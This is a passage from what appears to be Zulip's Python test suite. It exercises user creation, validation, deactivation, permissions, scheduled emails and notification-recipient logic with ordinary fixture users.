'romeo@not-zulip.com' not allowed in this organization" ) RealmDomain.objects.create(realm=get_realm("zulip"), domain="zulip.net") # Check can't use a bad password with zxcvbn enabled with self.settings(PASSWORD_MIN_LENGTH=6, PASSWORD_MIN_GUESSES=1000): result = self.client_post("/json/users", valid_params) self.assert_json_error(result, "The password is too weak.") result = self.client_post("/json/users", valid_params) self.assert_json_success(result) # Romeo is a newly registered user new_user = get_user_by_delivery_email("romeo@zulip.net", get_realm("zulip")) result = orjson.loads(result.content) self.assertEqual(new_user.full_name, "Romeo Montague") self.assertEqual(new_user.id, result["user_id"]) # Make sure the recipient field is set correctly. self.assertEqual( new_user.recipient, Recipient.objects.get(type=Recipient.PERSONAL, type_id=new_user.id) ) # we can't create the same user twice. result = self.client_post("/json/users", valid_params) self.assert_json_error(result, "Email 'romeo@zulip.net' already in use") # Don't allow user to sign up with disposable email. realm.emails_restricted_to_domains = False realm.disallow_disposable_email_addresses = True realm.save() valid_params["email"] = "abc@mailnator.com" result = self.client_post("/json/users", valid_params) self.assert_json_error( result, "Disposable email addresses are not allowed in this organization" ) # Don't allow creating a user with + in their email address when realm # is restricted to a domain. realm.emails_restricted_to_domains = True realm.save() valid_params["email"] = "iago+label@zulip.com" result = self.client_post("/json/users", valid_params) self.assert_json_error(result, "Email addresses containing + are not allowed.") # Users can be created with + in their email address when realm # is not restricted to a domain. realm.emails_restricted_to_domains = False realm.save() valid_params["email"] = "iago+label@zulip.com" result = self.client_post("/json/users", valid_params) self.assert_json_success(result) class UserProfileTest(ZulipTestCase): def test_valid_user_id(self) -> None: realm = get_realm("zulip") hamlet = self.example_user("hamlet") othello = self.example_user("othello") bot = self.example_user("default_bot") # Invalid user ID invalid_uid: object = 1000 with self.assertRaisesRegex(ValidationError, r"User IDs is not a list"): check_valid_user_ids(realm.id, invalid_uid) with self.assertRaisesRegex(ValidationError, rf"Invalid user ID: {invalid_uid}"): check_valid_user_ids(realm.id, [invalid_uid]) invalid_uid = "abc" with self.assertRaisesRegex(ValidationError, r"User IDs\[0\] is not an integer"): check_valid_user_ids(realm.id, [invalid_uid]) invalid_uid = str(othello.id) with self.assertRaisesRegex(ValidationError, r"User IDs\[0\] is not an integer"): check_valid_user_ids(realm.id, [invalid_uid]) # User is in different realm with self.assertRaisesRegex(ValidationError, rf"Invalid user ID: {hamlet.id}"): check_valid_user_ids(get_realm("zephyr").id, [hamlet.id]) # User is not active change_user_is_active(hamlet, False) with self.assertRaisesRegex(ValidationError, rf"User with ID {hamlet.id} is deactivated"): check_valid_user_ids(realm.id, [hamlet.id]) check_valid_user_ids(realm.id, [hamlet.id], allow_deactivated=True) # User is a bot with self.assertRaisesRegex(ValidationError, rf"User with ID {bot.id} is a bot"): check_valid_user_ids(realm.id, [bot.id]) # Successfully get non-bot, active user belong to your realm check_valid_user_ids(realm.id, [othello.id]) def test_cache_invalidation(self) -> None: hamlet = self.example_user("hamlet") with mock.patch("zerver.lib.cache.delete_display_recipient_cache") as m: hamlet.full_name = "Hamlet Junior" hamlet.save(update_fields=["full_name"]) self.assertTrue(m.called) with mock.patch("zerver.lib.cache.delete_display_recipient_cache") as m: hamlet.long_term_idle = True hamlet.save(update_fields=["long_term_idle"]) self.assertFalse(m.called) def test_user_ids_to_users(self) -> None: real_user_ids = [ self.example_user("hamlet").id, self.example_user("cordelia").id, ] self.assertEqual(user_ids_to_users([], get_realm("zulip")), []) self.assertEqual( { user_profile.id for user_profile in user_ids_to_users(real_user_ids, get_realm("zulip")) }, set(real_user_ids), ) with self.assertRaises(JsonableError): user_ids_to_users([1234], get_realm("zephyr")) with self.assertRaises(JsonableError): user_ids_to_users(real_user_ids, get_realm("zephyr")) def test_bulk_get_users(self) -> None: from zerver.lib.users import bulk_get_users hamlet = self.example_user("hamlet") cordelia = self.example_user("cordelia") webhook_bot = self.example_user("webhook_bot") result = bulk_get_users( [hamlet.email, cordelia.email], get_realm("zulip"), ) self.assertEqual(result[hamlet.email].email, hamlet.email) self.assertEqual(result[cordelia.email].email, cordelia.email) result = bulk_get_users( [hamlet.email, cordelia.email, webhook_bot.email], None, base_query=UserProfile.objects.all(), ) self.assertEqual(result[hamlet.email].email, hamlet.email) self.assertEqual(result[cordelia.email].email, cordelia.email) self.assertEqual(result[webhook_bot.email].email, webhook_bot.email) def test_get_accounts_for_email(self) -> None: reset_emails_in_zulip_realm() def check_account_present_in_accounts(user: UserProfile, accounts: List[Accounts]) -> None: for account in accounts: realm = user.realm if ( account["avatar"] == avatar_url(user) and account["full_name"] == user.full_name and account["realm_name"] == realm.name and account["realm_id"] == realm.id ): return raise AssertionError("Account not found") lear_realm = get_realm("lear") cordelia_in_zulip = self.example_user("cordelia") cordelia_in_lear = get_user_by_delivery_email("cordelia@zulip.com", lear_realm) email = "cordelia@zulip.com" accounts = get_accounts_for_email(email) self.assert_length(accounts, 2) check_account_present_in_accounts(cordelia_in_zulip, accounts) check_account_present_in_accounts(cordelia_in_lear, accounts) email = "CORDelia@zulip.com" accounts = get_accounts_for_email(email) self.assert_length(accounts, 2) check_account_present_in_accounts(cordelia_in_zulip, accounts) check_account_present_in_accounts(cordelia_in_lear, accounts) email = "IAGO@ZULIP.COM" accounts = get_accounts_for_email(email) self.assert_length(accounts, 1) check_account_present_in_accounts(self.example_user("iago"), accounts) # We verify that get_accounts_for_email don't return deactivated users accounts user = self.example_user("hamlet") do_deactivate_user(user, acting_user=None) email = self.example_email("hamlet") accounts = get_accounts_for_email(email) with self.assertRaises(AssertionError): check_account_present_in_accounts(user, accounts) def test_get_source_profile(self) -> None: reset_emails_in_zulip_realm() zulip_realm_id = get_realm("zulip").id iago = get_source_profile("iago@zulip.com", zulip_realm_id) assert iago is not None self.assertEqual(iago.email, "iago@zulip.com") self.assertEqual(iago.realm, get_realm("zulip")) iago = get_source_profile("IAGO@ZULIP.com", zulip_realm_id) assert iago is not None self.assertEqual(iago.email, "iago@zulip.com") lear_realm_id = get_realm("lear").id cordelia = get_source_profile("cordelia@zulip.com", lear_realm_id) assert cordelia is not None self.assertEqual(cordelia.email, "cordelia@zulip.com") self.assertIsNone(get_source_profile("iagod@zulip.com", zulip_realm_id)) self.assertIsNone(get_source_profile("iago@zulip.com", 0)) self.assertIsNone(get_source_profile("iago@zulip.com", lear_realm_id)) def test_copy_default_settings_from_another_user(self) -> None: iago = self.example_user("iago") cordelia = self.example_user("cordelia") hamlet = self.example_user("hamlet") hamlet.color_scheme = UserProfile.COLOR_SCHEME_LIGHT cordelia.default_language = "de" cordelia.default_view = "all_messages" cordelia.emojiset = "twitter" cordelia.timezone = "America/Phoenix" cordelia.color_scheme = UserProfile.COLOR_SCHEME_NIGHT cordelia.enable_offline_email_notifications = False cordelia.enable_stream_push_notifications = True cordelia.enter_sends = False cordelia.avatar_source = UserProfile.AVATAR_FROM_USER cordelia.save() # Upload cordelia's avatar with get_test_image_file("img.png") as image_file: upload_avatar_image(image_file, cordelia, cordelia) UserHotspot.objects.filter(user=cordelia).delete() UserHotspot.objects.filter(user=iago).delete() hotspots_completed = {"intro_streams", "intro_topics"} for hotspot in hotspots_completed: UserHotspot.objects.create(user=cordelia, hotspot=hotspot) # Check that we didn't send an realm_user update events to # users; this work is happening before the user account is # created, so any changes will be reflected in the "add" event # introducing the user to clients. events: List[Mapping[str, Any]] = [] with self.tornado_redirected_to_list(events, expected_num_events=0): copy_default_settings(cordelia, iago) # We verify that cordelia and iago match, but hamlet has the defaults. self.assertEqual(iago.full_name, "Cordelia, Lear's daughter") self.assertEqual(cordelia.full_name, "Cordelia, Lear's daughter") self.assertEqual(hamlet.full_name, "King Hamlet") self.assertEqual(iago.default_language, "de") self.assertEqual(cordelia.default_language, "de") self.assertEqual(hamlet.default_language, "en") self.assertEqual(iago.emojiset, "twitter") self.assertEqual(cordelia.emojiset, "twitter") self.assertEqual(hamlet.emojiset, "google") self.assertEqual(iago.timezone, "America/Phoenix") self.assertEqual(cordelia.timezone, "America/Phoenix") self.assertEqual(hamlet.timezone, "") self.assertEqual(iago.color_scheme, UserProfile.COLOR_SCHEME_NIGHT) self.assertEqual(cordelia.color_scheme, UserProfile.COLOR_SCHEME_NIGHT) self.assertEqual(hamlet.color_scheme, UserProfile.COLOR_SCHEME_LIGHT) self.assertEqual(iago.enable_offline_email_notifications, False) self.assertEqual(cordelia.enable_offline_email_notifications, False) self.assertEqual(hamlet.enable_offline_email_notifications, True) self.assertEqual(iago.enable_stream_push_notifications, True) self.assertEqual(cordelia.enable_stream_push_notifications, True) self.assertEqual(hamlet.enable_stream_push_notifications, False) self.assertEqual(iago.enter_sends, False) self.assertEqual(cordelia.enter_sends, False) self.assertEqual(hamlet.enter_sends, True) hotspots = set(UserHotspot.objects.filter(user=iago).values_list("hotspot", flat=True)) self.assertEqual(hotspots, hotspots_completed) def test_copy_default_settings_from_realm_user_default(self) -> None: cordelia = self.example_user("cordelia") realm = get_realm("zulip") realm_user_default = RealmUserDefault.objects.get(realm=realm) realm_user_default.default_view = "recent_topics" realm_user_default.emojiset = "twitter" realm_user_default.color_scheme = UserProfile.COLOR_SCHEME_LIGHT realm_user_default.enable_offline_email_notifications = False realm_user_default.enable_stream_push_notifications = True realm_user_default.enter_sends = True realm_user_default.save() # Check that we didn't send an realm_user update events to # users; this work is happening before the user account is # created, so any changes will be reflected in the "add" event # introducing the user to clients. events: List[Mapping[str, Any]] = [] with self.tornado_redirected_to_list(events, expected_num_events=0): copy_default_settings(realm_user_default, cordelia) self.assertEqual(cordelia.default_view, "recent_topics") self.assertEqual(cordelia.emojiset, "twitter") self.assertEqual(cordelia.color_scheme, UserProfile.COLOR_SCHEME_LIGHT) self.assertEqual(cordelia.enable_offline_email_notifications, False) self.assertEqual(cordelia.enable_stream_push_notifications, True) self.assertEqual(cordelia.enter_sends, True) def test_get_user_by_id_in_realm_including_cross_realm(self) -> None: realm = get_realm("zulip") internal_realm = get_realm(settings.SYSTEM_BOT_REALM) hamlet = self.example_user("hamlet") othello = self.example_user("othello") bot = get_system_bot(settings.WELCOME_BOT, internal_realm.id) # Pass in the ID of a cross-realm bot and a valid realm cross_realm_bot = get_user_by_id_in_realm_including_cross_realm(bot.id, realm) self.assertEqual(cross_realm_bot.email, bot.email) self.assertEqual(cross_realm_bot.id, bot.id) # Pass in the ID of a cross-realm bot but with a invalid realm, # note that the realm should be irrelevant here cross_realm_bot = get_user_by_id_in_realm_including_cross_realm(bot.id, None) self.assertEqual(cross_realm_bot.email, bot.email) self.assertEqual(cross_realm_bot.id, bot.id) # Pass in the ID of a non-cross-realm user with a realm user_profile = get_user_by_id_in_realm_including_cross_realm(othello.id, realm) self.assertEqual(user_profile.email, othello.email) self.assertEqual(user_profile.id, othello.id) # If the realm doesn't match, or if the ID is not that of a # cross-realm bot, UserProfile.DoesNotExist is raised with self.assertRaises(UserProfile.DoesNotExist): get_user_by_id_in_realm_including_cross_realm(hamlet.id, None) def test_get_user_subscription_status(self) -> None: self.login("hamlet") iago = self.example_user("iago") stream = get_stream("Rome", iago.realm) # Invalid user ID. result = self.client_get(f"/json/users/25/subscriptions/{stream.id}") self.assert_json_error(result, "No such user") # Invalid stream ID. result = self.client_get(f"/json/users/{iago.id}/subscriptions/25") self.assert_json_error(result, "Invalid stream id") result = orjson.loads( self.client_get(f"/json/users/{iago.id}/subscriptions/{stream.id}").content ) self.assertFalse(result["is_subscribed"]) # Subscribe to the stream. self.subscribe(iago, stream.name) with queries_captured() as queries: result = orjson.loads( self.client_get(f"/json/users/{iago.id}/subscriptions/{stream.id}").content ) self.assert_length(queries, 6) self.assertTrue(result["is_subscribed"]) # Logging in with a Guest user. polonius = self.example_user("polonius") self.login("polonius") self.assertTrue(polonius.is_guest) self.assertTrue(stream.is_web_public) result = orjson.loads( self.client_get(f"/json/users/{iago.id}/subscriptions/{stream.id}").content ) self.assertTrue(result["is_subscribed"]) self.login("iago") stream = self.make_stream("private_stream", invite_only=True) # Unsubscribed admin can check subscription status in a private stream. result = orjson.loads( self.client_get(f"/json/users/{iago.id}/subscriptions/{stream.id}").content ) self.assertFalse(result["is_subscribed"]) # Unsubscribed non-admins cannot check subscription status in a private stream. self.login("shiva") result = self.client_get(f"/json/users/{iago.id}/subscriptions/{stream.id}") self.assert_json_error(result, "Invalid stream id") # Subscribed non-admins can check subscription status in a private stream self.subscribe(self.example_user("shiva"), stream.name) result = orjson.loads( self.client_get(f"/json/users/{iago.id}/subscriptions/{stream.id}").content ) self.assertFalse(result["is_subscribed"]) class ActivateTest(ZulipTestCase): def test_basics(self) -> None: user = self.example_user("hamlet") do_deactivate_user(user, acting_user=None) self.assertFalse(user.is_active) do_reactivate_user(user, acting_user=None) self.assertTrue(user.is_active) def test_subscriptions_is_user_active(self) -> None: user = self.example_user("hamlet") do_deactivate_user(user, acting_user=None) self.assertFalse(user.is_active) self.assertTrue(Subscription.objects.filter(user_profile=user).exists()) self.assertFalse( Subscription.objects.filter(user_profile=user, is_user_active=True).exists() ) do_reactivate_user(user, acting_user=None) self.assertTrue(user.is_active) self.assertTrue(Subscription.objects.filter(user_profile=user).exists()) self.assertFalse( Subscription.objects.filter(user_profile=user, is_user_active=False).exists() ) def test_api(self) -> None: admin = self.example_user("othello") do_change_user_role(admin, UserProfile.ROLE_REALM_ADMINISTRATOR, acting_user=None) self.login("othello") user = self.example_user("hamlet") self.assertTrue(user.is_active) result = self.client_delete(f"/json/users/{user.id}") self.assert_json_success(result) user = self.example_user("hamlet") self.assertFalse(user.is_active) result = self.client_post(f"/json/users/{user.id}/reactivate") self.assert_json_success(result) user = self.example_user("hamlet") self.assertTrue(user.is_active) def test_api_with_nonexistent_user(self) -> None: self.login("iago") # Organization administrator cannot deactivate organization owner. result = self.client_delete(f'/json/users/{self.example_user("desdemona").id}') self.assert_json_error(result, "Must be an organization owner") iago = self.example_user("iago") desdemona = self.example_user("desdemona") do_change_user_role(iago, UserProfile.ROLE_REALM_OWNER, acting_user=None) # Cannot deactivate a user with the bot api result = self.client_delete("/json/bots/{}".format(self.example_user("hamlet").id)) self.assert_json_error(result, "No such bot") # Cannot deactivate a nonexistent user. invalid_user_id = 1000 result = self.client_delete(f"/json/users/{invalid_user_id}") self.assert_json_error(result, "No such user") result = self.client_delete("/json/users/{}".format(self.example_user("webhook_bot").id)) self.assert_json_error(result, "No such user") result = self.client_delete(f"/json/users/{desdemona.id}") self.assert_json_success(result) result = self.client_delete(f"/json/users/{iago.id}") self.assert_json_error(result, "Cannot deactivate the only organization owner") # Cannot reactivate a nonexistent user. invalid_user_id = 1000 result = self.client_post(f"/json/users/{invalid_user_id}/reactivate") self.assert_json_error(result, "No such user") def test_api_with_insufficient_permissions(self) -> None: non_admin = self.example_user("othello") do_change_user_role(non_admin, UserProfile.ROLE_MEMBER, acting_user=None) self.login("othello") # Cannot deactivate a user with the users api result = self.client_delete("/json/users/{}".format(self.example_user("hamlet").id)) self.assert_json_error(result, "Insufficient permission") # Cannot reactivate a user result = self.client_post( "/json/users/{}/reactivate".format(self.example_user("hamlet").id) ) self.assert_json_error(result, "Insufficient permission") def test_revoke_invites(self) -> None: """ Verify that any invitations generated by the user get revoked when the user is deactivated """ iago = self.example_user("iago") desdemona = self.example_user("desdemona") invite_expires_in_days = 2 do_invite_users( iago, ["new1@zulip.com", "new2@zulip.com"], [], invite_expires_in_days=invite_expires_in_days, invite_as=PreregistrationUser.INVITE_AS["REALM_ADMIN"], ) do_invite_users( desdemona, ["new3@zulip.com", "new4@zulip.com"], [], invite_expires_in_days=invite_expires_in_days, invite_as=PreregistrationUser.INVITE_AS["REALM_ADMIN"], ) do_invite_users( iago, ["new5@zulip.com"], [], invite_expires_in_days=None, invite_as=PreregistrationUser.INVITE_AS["REALM_ADMIN"], ) do_invite_users( desdemona, ["new6@zulip.com"], [], invite_expires_in_days=None, invite_as=PreregistrationUser.INVITE_AS["REALM_ADMIN"], ) iago_multiuse_key = do_create_multiuse_invite_link( iago, PreregistrationUser.INVITE_AS["MEMBER"], invite_expires_in_days ).split("/")[-2] desdemona_multiuse_key = do_create_multiuse_invite_link( desdemona, PreregistrationUser.INVITE_AS["MEMBER"], invite_expires_in_days ).split("/")[-2] iago_never_expire_multiuse_key = do_create_multiuse_invite_link( iago, PreregistrationUser.INVITE_AS["MEMBER"], None ).split("/")[-2] desdemona_never_expire_multiuse_key = do_create_multiuse_invite_link( desdemona, PreregistrationUser.INVITE_AS["MEMBER"], None ).split("/")[-2] self.assertEqual( filter_to_valid_prereg_users( PreregistrationUser.objects.filter(referred_by=iago) ).count(), 3, ) self.assertEqual( filter_to_valid_prereg_users( PreregistrationUser.objects.filter(referred_by=desdemona) ).count(), 3, ) self.assertTrue( Confirmation.objects.get(confirmation_key=iago_multiuse_key).expiry_date > timezone_now() ) self.assertTrue( Confirmation.objects.get(confirmation_key=desdemona_multiuse_key).expiry_date > timezone_now() ) self.assertIsNone( Confirmation.objects.get(confirmation_key=iago_never_expire_multiuse_key).expiry_date ) self.assertIsNone( Confirmation.objects.get( confirmation_key=desdemona_never_expire_multiuse_key ).expiry_date ) do_deactivate_user(iago, acting_user=None) # Now we verify that invitations generated by iago were revoked, while desdemona's # remain valid. self.assertEqual( filter_to_valid_prereg_users( PreregistrationUser.objects.filter(referred_by=iago) ).count(), 0, ) self.assertEqual( filter_to_valid_prereg_users( PreregistrationUser.objects.filter(referred_by=desdemona) ).count(), 3, ) self.assertTrue( Confirmation.objects.get(confirmation_key=iago_multiuse_key).expiry_date <= timezone_now() ) self.assertTrue( Confirmation.objects.get(confirmation_key=desdemona_multiuse_key).expiry_date > timezone_now() ) self.assertTrue( Confirmation.objects.get(confirmation_key=iago_never_expire_multiuse_key).expiry_date <= timezone_now() ) self.assertIsNone( Confirmation.objects.get( confirmation_key=desdemona_never_expire_multiuse_key ).expiry_date ) def test_clear_sessions(self) -> None: user = self.example_user("hamlet") self.login_user(user) session_key = self.client.session.session_key self.assertTrue(session_key) result = self.client_get("/json/users") self.assert_json_success(result) self.assertEqual(Session.objects.filter(pk=session_key).count(), 1) do_deactivate_user(user, acting_user=None) self.assertEqual(Session.objects.filter(pk=session_key).count(), 0) result = self.client_get("/json/users") self.assert_json_error( result, "Not logged in: API authentication or user session required", 401 ) def test_clear_scheduled_jobs(self) -> None: user = self.example_user("hamlet") send_future_email( "zerver/emails/followup_day1", user.realm, to_user_ids=[user.id], delay=datetime.timedelta(hours=1), ) self.assertEqual(ScheduledEmail.objects.count(), 1) do_deactivate_user(user, acting_user=None) self.assertEqual(ScheduledEmail.objects.count(), 0) def test_send_future_email_with_multiple_recipients(self) -> None: hamlet = self.example_user("hamlet") iago = self.example_user("iago") send_future_email( "zerver/emails/followup_day1", iago.realm, to_user_ids=[hamlet.id, iago.id], delay=datetime.timedelta(hours=1), ) self.assertEqual( ScheduledEmail.objects.filter(users__in=[hamlet, iago]).distinct().count(), 1 ) email = ScheduledEmail.objects.all().first() assert email is not None and email.users is not None self.assertEqual(email.users.count(), 2) def test_clear_schedule_emails(self) -> None: hamlet = self.example_user("hamlet") iago = self.example_user("iago") send_future_email( "zerver/emails/followup_day1", iago.realm, to_user_ids=[hamlet.id, iago.id], delay=datetime.timedelta(hours=1), ) self.assertEqual(ScheduledEmail.objects.count(), 1) clear_scheduled_emails(hamlet.id) self.assertEqual(ScheduledEmail.objects.count(), 1) self.assertEqual(ScheduledEmail.objects.filter(users=hamlet).count(), 0) self.assertEqual(ScheduledEmail.objects.filter(users=iago).count(), 1) def test_deliver_scheduled_emails(self) -> None: iago = self.example_user("iago") hamlet = self.example_user("hamlet") send_future_email( "zerver/emails/followup_day1", iago.realm, to_user_ids=[hamlet.id, iago.id], delay=datetime.timedelta(hours=1), ) self.assertEqual(ScheduledEmail.objects.count(), 1) email = ScheduledEmail.objects.all().first() deliver_scheduled_emails(assert_is_not_none(email)) from django.core.mail import outbox self.assert_length(outbox, 1) for message in outbox: self.assertEqual( set(message.to), { str(Address(display_name=hamlet.full_name, addr_spec=hamlet.delivery_email)), str(Address(display_name=iago.full_name, addr_spec=iago.delivery_email)), }, ) self.assertEqual(ScheduledEmail.objects.count(), 0) def test_deliver_scheduled_emails_no_addressees(self) -> None: iago = self.example_user("iago") hamlet = self.example_user("hamlet") to_user_ids = [hamlet.id, iago.id] send_future_email( "zerver/emails/followup_day1", iago.realm, to_user_ids=to_user_ids, delay=datetime.timedelta(hours=1), ) self.assertEqual(ScheduledEmail.objects.count(), 1) email = ScheduledEmail.objects.all().first() assert email is not None email.users.remove(*to_user_ids) with self.assertLogs("zulip.send_email", level="INFO") as info_log: deliver_scheduled_emails(email) from django.core.mail import outbox self.assert_length(outbox, 0) self.assertEqual(ScheduledEmail.objects.count(), 1) self.assertEqual( info_log.output, [ f"ERROR:zulip.send_email:ScheduledEmail id {email.id} has empty users and address attributes." ], ) class RecipientInfoTest(ZulipTestCase): def test_stream_recipient_info(self) -> None: hamlet = self.example_user("hamlet") cordelia = self.example_user("cordelia") othello = self.example_user("othello") # These tests were written with the old default for # enable_online_push_notifications; that default is better for # testing the full code path anyway. hamlet.enable_online_push_notifications = False cordelia.enable_online_push_notifications = False othello.enable_online_push_notifications = False hamlet.save() cordelia.save() othello.save() realm = hamlet.realm stream_name = "Test stream" topic_name = "test topic" for user in [hamlet, cordelia, othello]: self.subscribe(user, stream_name) stream = get_stream(stream_name, realm) recipient = stream.recipient assert recipient is not None stream_topic = StreamTopicTarget( stream_id=stream.id, topic_name=topic_name, ) info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, possible_wildcard_mention=False, ) all_user_ids = {hamlet.id, cordelia.id, othello.id} expected_info = dict( active_user_ids=all_user_ids, online_push_user_ids=set(), pm_mention_email_disabled_user_ids=set(), pm_mention_push_disabled_user_ids=set(), stream_push_user_ids=set(), stream_email_user_ids=set(), wildcard_mention_user_ids=set(), muted_sender_user_ids=set(), um_eligible_user_ids=all_user_ids, long_term_idle_user_ids=set(), default_bot_user_ids=set(), service_bot_tuples=[], all_bot_user_ids=set(), ) self.assertEqual(info, expected_info) hamlet.enable_offline_email_notifications = False hamlet.enable_offline_push_notifications = False hamlet.save() info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, possible_wildcard_mention=False, ) self.assertEqual(info["pm_mention_email_disabled_user_ids"], {hamlet.id}) self.assertEqual(info["pm_mention_push_disabled_user_ids"], {hamlet.id}) hamlet.enable_offline_email_notifications = True hamlet.enable_offline_push_notifications = True hamlet.save() cordelia.wildcard_mentions_notify = False cordelia.save() hamlet.enable_stream_push_notifications = True hamlet.save() info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, possible_wildcard_mention=False, ) self.assertEqual(info["stream_push_user_ids"], {hamlet.id}) self.assertEqual(info["wildcard_mention_user_ids"], set()) info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, possible_wildcard_mention=True, ) self.assertEqual(info["wildcard_mention_user_ids"], {hamlet.id, othello.id}) sub = get_subscription(stream_name, hamlet) sub.push_notifications = False sub.save() info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, ) self.assertEqual(info["stream_push_user_ids"], set()) hamlet.enable_stream_push_notifications = False hamlet.save() sub = get_subscription(stream_name, hamlet) sub.push_notifications = True sub.save() info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, ) self.assertEqual(info["stream_push_user_ids"], {hamlet.id}) # Now have Hamlet mute the topic to omit him from stream_push_user_ids. add_topic_mute( user_profile=hamlet, stream_id=stream.id, recipient_id=recipient.id, topic_name=topic_name, ) info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, possible_wildcard_mention=False, ) self.assertEqual(info["stream_push_user_ids"], set()) self.assertEqual(info["wildcard_mention_user_ids"], set()) info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, possible_wildcard_mention=True, ) self.assertEqual(info["stream_push_user_ids"], set()) # Since Hamlet has muted the stream and Cordelia has disabled # wildcard notifications, it should just be Othello here. self.assertEqual(info["wildcard_mention_user_ids"], {othello.id}) # If Hamlet mutes Cordelia, he should be in `muted_sender_user_ids` for a message # sent by Cordelia. do_mute_user(hamlet, cordelia) info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=cordelia.id, stream_topic=stream_topic, possible_wildcard_mention=True, ) self.assertTrue(hamlet.id in info["muted_sender_user_ids"]) sub = get_subscription(stream_name, othello) sub.wildcard_mentions_notify = False sub.save() info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, possible_wildcard_mention=True, ) self.assertEqual(info["stream_push_user_ids"], set()) # Verify that stream-level wildcard_mentions_notify=False works correctly. self.assertEqual(info["wildcard_mention_user_ids"], set()) # Verify that True works as expected as well sub = get_subscription(stream_name, othello) sub.wildcard_mentions_notify = True sub.save() info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, possible_wildcard_mention=True, ) self.assertEqual(info["stream_push_user_ids"], set()) self.assertEqual(info["wildcard_mention_user_ids"], {othello.id}) # Add a service bot. service_bot = do_create_user( email="service-bot@zulip.com", password="", realm=realm, full_name="", bot_type=UserProfile.EMBEDDED_BOT, acting_user=None, ) info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, possibly_mentioned_user_ids={service_bot.id}, ) self.assertEqual( info["service_bot_tuples"], [ (service_bot.id, UserProfile.EMBEDDED_BOT), ], ) # Add a normal bot. normal_bot = do_create_user( email="normal-bot@zulip.com", password="", realm=realm, full_name="", bot_type=UserProfile.DEFAULT_BOT, acting_user=None, ) info = get_recipient_info( realm_id=realm.id, recipient=recipient, sender_id=hamlet.id, stream_topic=stream_topic, possibly_mentioned_user_ids={service_bot.id, normal_bot.id}, ) self.assertEqual(info["default_bot_user_ids"], {normal_bot.id}) self.assertEqual(info["all_bot_user_ids"], {normal_bot.id, service_bot.id}) def test_get_recipient_info_invalid_recipient_type(self) -> None: hamlet = self.example_user("hamlet") realm = hamlet.realm stream = get_stream("Rome", realm) stream_topic = StreamTopicTarget( stream_id=stream.id, topic_name="test topic", ) # Make sure get_recipient_info asserts on invalid recipient types with self.assertRaisesRegex(ValueError, "Bad recipient type"): invalid_recipient = Recipient(type=999) # 999 is not a valid type get_recipient_info( realm_id=realm.id, recipient=invalid_recipient, sender_id=hamlet.id, stream_topic=stream_topic, ) class BulkUsersTest(ZulipTestCase): def test_client_gravatar_option(self) -> None: reset_emails_in_zulip_realm() self.login("cordelia") hamlet = self.example_user("hamlet") def get_hamlet_avatar(client_gravatar: bool) -> Optional[str]: data = dict(client_gravatar=orjson.dumps(client_gravatar).decode()) result = self.client_get("/json/users", data) self.assert_json_success(result) rows = result.json()["members"] hamlet_data = [row for row in rows if row["user_id"] == hamlet.id][0] return hamlet_data["avatar_url"] self.assertEqual( get_hamlet_avatar(client_gravatar=True), None, ) """ The main purpose of this test is to make sure we return None for avatar_url when client_gravatar is set to True. And we do a sanity check for when it's False, but we leave it to other tests to validate the specific URL. """ self.assertIn( "gravatar.com", assert_is_not_none(get_hamlet_avatar(client_gravatar=False)), ) class GetProfileTest(ZulipTestCase): def test_cache_behavior(self) -> None: """Tests whether fetching a user object the normal way, with `get_user`, makes 1 cache query and 1 database query. """ realm = get_realm("zulip") email = self.example_user("hamlet").email with queries_captured() as queries: with simulated_empty_cache() as cache_queries: user_profile = get_user(email, realm) self.assert_length(queries, 1) self.assert_length(cache_queries, 1) self.assertEqual(user_profile.email, email) def test_get_user_profile(self) -> None: hamlet = self.example_user("hamlet") iago = self.example_user("iago") desdemona = self.example_user("desdemona") shiva = self.example_user("shiva") self.login("hamlet") result = orjson.loads(self.client_get("/json/users/me").content) self.assertEqual(result["email"], hamlet.email) self.assertEqual(result["full_name"], "King Hamlet") self.assertIn("user_id", result) self.assertFalse(result["is_bot"]) self.assertFalse(result["is_admin"]) self.assertFalse(result["is_owner"]) self.assertFalse(result["is_guest"]) self.assertEqual(result["role"], UserProfile.ROLE_MEMBER) self.assertFalse("delivery_email" in result) self.login("iago") result = orjson.loads(self.client_get("/json/users/me").content) self.assertEqual(result["email"], iago.email) self.assertEqual(result["full_name"], "Iago") self.assertFalse(result["is_bot"]) self.assertTrue(result["is_admin"]) self.assertFalse(result["is_owner"]) self.assertFalse(result["is_guest"]) self.assertEqual(result["role"], UserProfile.ROLE_REALM_ADMINISTRATOR) self.login("desdemona") result = orjson.loads(self.client_get("/json/users/me").content) self.assertEqual(result["email"], desdemona.email) self.assertFalse(result["is_bot"]) self.assertTrue(result["is_admin"]) self.assertTrue(result["is_owner"]) self.assertFalse(result["is_guest"]) self.assertEqual(result["role"], UserProfile.ROLE_REALM_OWNER) self.login("shiva") result = orjson.loads(self.client_get("/json/users/me").content) self.assertEqual(result["email"], shiva.email) self.assertFalse(result["is_bot"]) self.assertFalse(result["is_admin"]) self.assertFalse(result["is_owner"]) self.assertFalse(result["is_guest"]) self.assertEqual(result["role"], UserProfile.ROLE_MODERATOR) # Tests the GET ../users/{id} API endpoint. user = self.example_user("hamlet") result = orjson.loads(self.client_get(f"/json/users/{user.id}").content) self.assertEqual(result["user"]["email"], user.email) self.assertEqual(result["user"]["full_name"], user.full_name) self.assertIn("user_id", result["user"]) self.assertNotIn("profile_data", result["user"]) self.assertFalse(result["user"]["is_bot"]) self.assertFalse(result["user"]["is_admin"]) self.assertFalse(result["user"]["is_owner"]) result = orjson.loads( self.client_get( f"/json/users/{user.id}", 